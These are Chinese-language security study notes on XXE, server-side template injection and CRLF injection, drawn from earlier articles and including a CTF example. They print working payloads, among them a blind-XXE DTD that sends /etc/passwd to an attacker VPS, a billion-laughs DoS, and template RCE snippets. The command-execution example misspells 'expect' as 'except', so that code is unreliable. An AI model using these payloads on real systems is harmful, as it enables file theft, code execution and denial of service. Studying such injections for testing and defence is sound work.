注入笔记（非sql注入）
XML注入
引用：https://www.freebuf.com/vuls/175451.html 作者：Hu3sky
0X01 xxe漏洞介绍
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。
- 所有 XML 元素都须有关闭标签。
- XML 标签对大小写敏感。
- XML 必须正确地嵌套。
- XML 文档必须有根元素。
- XML 的属性值须加引号。
XML语法规则如下：
0×02 攻击思路
- 引用外部实体远程文件读取
- Blind XXE
- DoS
外部实体引用,有回显
读取任意文件
例一：
可以看到xxe-1.php页面以POST方式向xxe-2.php页面传输了XML数据，既然是XML数据，我们就可以自己增加一个恶意外部实体然后再原本的XML数据中进行实体调用，来进行XXE攻击，如下：
可以看到，成功的读取了robots.txt中的内容，这里的hu3sky是我们定义的一个外部实体。
例子二
jarvisoj上的一道题目API调用
这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。
进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框，我们对其进行抓包
要把content-Type的json处改为xml。修改json处，构造一个xml表单进行xml注入，得到flag。
Blind XXE
如果服务器没有回显，只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。
所以，在没有回显的情况下如何来利用XXE
思路：
- 客户端发送payload 1给web服务器
- web服务器向vps获取恶意DTD，并执行文件读取payload2
- web服务器带着回显结果访问VPS上特定的FTP或者HTTP
- 通过VPS获得回显（nc监听端口）
本地客户端(payload 1 )
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>
由于web端会解码，所以需要我们先html实体编码一次
payload 2 也就是test.xml的内容(VPS)
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">
%int;
%trick;
这个是先将SYSTEM的file协议读取到的内容赋值给参数实体%payload，第二步是一个实体嵌套，trick是远程访问ftp协议所携带的内容
DOS
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串，然后一个 lol2 实体引用了 10 次 lol 实体，一个 lol3 实体引用了 10 次 lol2 实体，此时一个 lol3 实体就含有 10^2 个 “lol” 了，以此类推，lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。
命令执行
php环境下，xml命令执行需要php装有expect扩展，但是该扩展默认没有安装，所以一般来说，比较难利用，这里就只给出代码了
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
服务端模版注入
Web应用程序经常使用模板系统（如Twig和FreeMarker）在网页和电子邮件中嵌入动态内容。当用户输入以不安全的方式嵌入模板时，会发生模板注入。
漏洞检测：
漏洞可能出现在两种环境
一、可控内容为文本
smarty框架下
输入：Hello {user.name}
输出：Hello user1
freemarker框架下
输入：Hello ${username}
输出：Hello newuser
在这种情况下，模糊测试框架的XSS探测结果可以作为发现漏洞的线索，由于黑盒审计攻击的payload往往是纯html或js的，这些地方很容易被误判成XSS(事实上也是一个xss)，要想判别是否是一个模板注入，我们需要利用特定的框架语法来完成漏洞检测
smarty=Hello ${7*7}
Hello 49
freemarker=Hello ${7*7}
Hello 49
二、可控内容为代码主体
用户输入有时候用来构成模板主体，比如说是一个变量名
输入：personal_greeting=username
输出：Hello user01
那么这种情况更容易遗漏，因为此时的自动扫描工具检测到这里时，payload根本不会让模板框架返回一个有效的回显，你必须遵循特定模板的语法，才能看到页面的变化，比如这里我们必须先用}}提前闭合模板代码段，才能插入任意一个html的标签 
输入：personal_greeting=username
输出：Hello
输入：personal_greeting=username}}
输出：Hello user01
模板识别
上图描述了测试流程的树形结构，分支从左到右对应检测顺序，绿色箭头表示能够返回预期的结果，也就说明此时存在漏洞所使用的模板框架就是箭头指向的框架。
漏洞范例
往往，你只需要细读开发文档三十秒就足以找到一个RCE，举个例子。攻击没有沙箱隔离的“smarty”框架只需要这样
{php}echo `id`;{/php}
Mako框架也能很简单地RCE
<%
import os x=os.popen('id').read() %>
${x}
CRLF注入
原文链接：http://drops.wooyun.org/papers/2466
CRLF是”回车 + 换行”（\r\n）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。
对于HRS最简单的利用方式是注入两个\r\n，之后在写入XSS代码，来构造一个xss。
实例
举个例子，一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转，所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
注入了一个换行，此时的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun
这个时候这样我们就给访问者设置了一个SESSION，造成一个“会话固定漏洞”。
当然，HRS并不仅限于会话固定，通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx，xxx放在Location后面作为一个跳转。如果我们输入的是
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
我们的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:
<img src=1 onerror=alert(/xss/)>
之前说了浏览器会根据第一个CRLF把HTTP包分成头和体，然后将体显示出来。于是我们这里这个标签就会显示出来，造成一个XSS。
为什么说是无视浏览器filter的，这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略，当url中含有XSS相关特征的时候就会过滤掉不显示在页面中，所以不能触发XSS。
怎样才能关掉filter？一般来说用户这边是不行的，只有数据包中http头含有X-XSS-Protection并且值为0的时候，浏览器才不会开启filter。
说到这里应该就很清楚了，HRS不正是注入HTTP头的一个漏洞吗，我们可以将X-XSS-Protection:0注入到数据包中，再用两个CRLF来注入XSS代码，这样就成功地绕过了浏览器filter，并且执行我们的反射型XSS。
所以说HRS的危害大于XSS，因为它能绕过一般XSS所绕不过的filter，并能产生会话固定漏洞。
我们来一个真实案例吧。 新浪某分站含有一个url跳转漏洞，危害并不大，于是我就想到了CRLF Injection，当我测试
http://xxx.sina.com.cn/?url=
<img src=1>
的时候，发现图片已经输出在页面中了，说明CRLF注入成功了：
那么我们试试XSS看看：
看控制台，果然被XSS Filter拦截了。
那么我们就注入一个
X-XSS-Protection:0
到数据包中，看看效果
@mramydnei 还想到了一个利用字符编码来绕过XSS Filter的方法，当编码是is-2022-kr时浏览器会忽略%0f，这样我们在onerror后面加个%0f就能绕过filter，前提是注入一个
<meta charset=ISO-2022-KR>
当然，在Location:这里注入只有webkit内核浏览器才能够利用，其他浏览器可能会跳转、出错。不过对于chrome的使用量来说，危害已经足够了。
0x02 修复
如何修复HRS漏洞，当然是过滤\r 、\n之类的换行符，避免输入的数据污染到其他HTTP头。
